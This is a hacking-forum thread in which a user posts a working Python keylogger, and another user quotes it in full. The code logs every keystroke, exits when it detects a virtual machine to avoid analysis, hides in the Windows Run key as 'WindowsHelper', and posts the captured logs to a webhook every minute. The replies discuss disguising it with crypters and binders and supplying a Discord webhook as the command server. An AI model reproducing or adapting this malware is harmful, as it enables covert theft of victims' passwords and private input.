

Forum:[Hack Forums](#)

Thread: [My First Key Logger \(PYTHON\)](#)

geoshot - August 2, 2026, 10:08 am

```
Code
import pynput
from pynput.keyboard import Key, Listener
import logging
import requests
import time
import threading
import os
import sys
import winreg

WEBHOOK = ""
LOG_FILE = "KeyStrokes.txt"

logging.basicConfig(
    filename=LOG_FILE,
    level=logging.DEBUG,
    format="%(asctime)s - %(message)s"
)

def is_vm():
    vm_files = ["vbox", "vmware", "qemu"]
    for f in vm_files:
        if os.path.exists(f"C:\\Windows\\System32\\drivers\\{f}.sys"):
            return True
    return False

if is_vm():
    sys.exit()

def add_to_startup():
    try:
        key = winreg.HKEY_CURRENT_USER
        subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
        with winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE) as regkey:
            winreg.SetValueEx(regkey, "WindowsHelper", 0, winreg.REG_SZ, sys.executable + " " +
__file__)
    except:
        pass

add_to_startup()

def send_logs():
    if not WEBHOOK:
        return
```

```

try:
    with open(LOG_FILE, "r") as f:
        content = f.read()

    if content.strip():
        if len(content) > 1900:
            content = content[-1900:]

        response = requests.post(WEBHOOK, json={"content": f"````{content}````"})
        if response.status_code == 204:
            open(LOG_FILE, "w").close()
except Exception as e:
    logging.error(f"Send failed: {e}")

```

```

def auto_send():
    while True:
        time.sleep(60)
        send_logs()

threading.Thread(target=auto_send, daemon=True).start()

```

```

def on_press(key):
    try:
        if key == Key.space:
            logging.info(" ")
        elif key == Key.enter:
            logging.info("\n")
        elif key == Key.backspace:
            logging.info("[<-]")
        elif key == Key.tab:
            logging.info("[TAB] ")
        elif key == Key.shift or key == Key.shift_r:
            logging.info("[?]")
        elif key == Key.ctrl_l or key == Key.ctrl_r:
            logging.info("[Ctrl]")
        elif key == Key.alt_l or key == Key.alt_r:
            logging.info("[Alt]")
        elif key == Key.cmd or key == Key.cmd_r:
            logging.info("[Win]")
        elif key == Key.esc:
            logging.info("[Esc]")
        elif key == Key.up:
            logging.info("[?]")
        elif key == Key.down:
            logging.info("[?]")
        elif key == Key.left:
            logging.info("[<-]")
        elif key == Key.right:
            logging.info("[->]")
        elif key == Key.delete:
            logging.info("[Del]")
        elif key == Key.home:
            logging.info("[Home]")

```

```

elif key == Key.end:
    logging.info("[End]")
elif key == Key.page_up:
    logging.info("[PgUp]")
elif key == Key.page_down:
    logging.info("[PgDn]")
else:
    logging.info(str(key).replace("'", ""))
except Exception as e:
    logging.error(f"Error: {e}")

```

```

with Listener(on_press=on_press) as listener:
    listener.join()

```

This malware watches everything the victim types and sends it to you every minute. It starts when the computer starts, and it avoids running in virtual machines to stay hidden from researchers hope you guys like it :D

cblazethegod - August 5, 2026, 11:27 am

Nice good job

Amulet Reddo - August 5, 2026, 3:24 pm

```

(Aug 2, 2026 10:08 AM)geoshot Wrote: \[CITE\] Code
import pynput
from pynput.keyboard import Key, Listener
import logging
import requests
import time
import threading
import os
import sys
import winreg

```

```

WEBHOOK = ""
LOG_FILE = "KeyStrokes.txt"

```

```

logging.basicConfig(
    filename=LOG_FILE,
    level=logging.DEBUG,
    format="%%(asctime)s - %(message)s"
)

```

```

def is_vm():
    vm_files = ["vbox", "vmware", "qemu"]
    for f in vm_files:
        if os.path.exists(f"C:\\Windows\\System32\\drivers\\{f}.sys"):
            return True
    return False

```

```

if is_vm():
    sys.exit()

```

```

def add_to_startup():
    try:
        key = winreg.HKEY_CURRENT_USER

```

```

subkey = r"Software\Microsoft\Windows\CurrentVersion\Run"
with winreg.OpenKey(key, subkey, 0, winreg.KEY_SET_VALUE) as regkey:
    winreg.SetValueEx(regkey, "WindowsHelper", 0, winreg.REG_SZ, sys.executable + " " +
__file__)
except:
    pass

add_to_startup()

def send_logs():
    if not WEBHOOK:
        return

    try:
        with open(LOG_FILE, "r") as f:
            content = f.read()

        if content.strip():
            if len(content) > 1900:
                content = content[-1900:]

            response = requests.post(WEBHOOK, json={"content": f"````{content}```"})
            if response.status_code == 204:
                open(LOG_FILE, "w").close()
    except Exception as e:
        logging.error(f"Send failed: {e}")

def auto_send():
    while True:
        time.sleep(60)
        send_logs()

threading.Thread(target=auto_send, daemon=True).start()

def on_press(key):
    try:
        if key == Key.space:
            logging.info(" ")
        elif key == Key.enter:
            logging.info("\n")
        elif key == Key.backspace:
            logging.info("[<-]")
        elif key == Key.tab:
            logging.info("[TAB] ")
        elif key == Key.shift or key == Key.shift_r:
            logging.info("[?]")
        elif key == Key.ctrl_l or key == Key.ctrl_r:
            logging.info("[Ctrl]")
        elif key == Key.alt_l or key == Key.alt_r:
            logging.info("[Alt]")
        elif key == Key.cmd or key == Key.cmd_r:
            logging.info("[Win]")
        elif key == Key.esc:

```

```

        logging.info("[Esc]")
    elif key == Key.up:
        logging.info("[?]")
    elif key == Key.down:
        logging.info("[?]")
    elif key == Key.left:
        logging.info("[<-]")
    elif key == Key.right:
        logging.info("[->]")
    elif key == Key.delete:
        logging.info("[Del]")
    elif key == Key.home:
        logging.info("[Home]")
    elif key == Key.end:
        logging.info("[End]")
    elif key == Key.page_up:
        logging.info("[PgUp]")
    elif key == Key.page_down:
        logging.info("[PgDn]")
    else:
        logging.info(str(key).replace("'", ""))
except Exception as e:
    logging.error(f"Error: {e}")

```

with Listener(on_press=on_press) as listener:

listener.join()

This malware watches everything the victim types and sends it to you every minute. It starts when the computer starts, and it avoids running in virtual machines to stay hidden from researchers hope you guys like it :D

Would it work if I crypt it with a crypter or bind it like in a picture with a binder?

geoshot - August 5, 2026, 4:56 pm

(Aug 5, 2026 03:24 PM)Amulet Reddo Wrote: [\[CITE\]](#) Would it work if I crypt it with a crypter or bind it like in a picture with a binder?

Yes but you need put the C2 in the code so you can see key strokes, this script works as local machine, C2 like put discord web hook in it, and yes you can crypt it and bind it.

Which It already as C2 just put your discord webhook in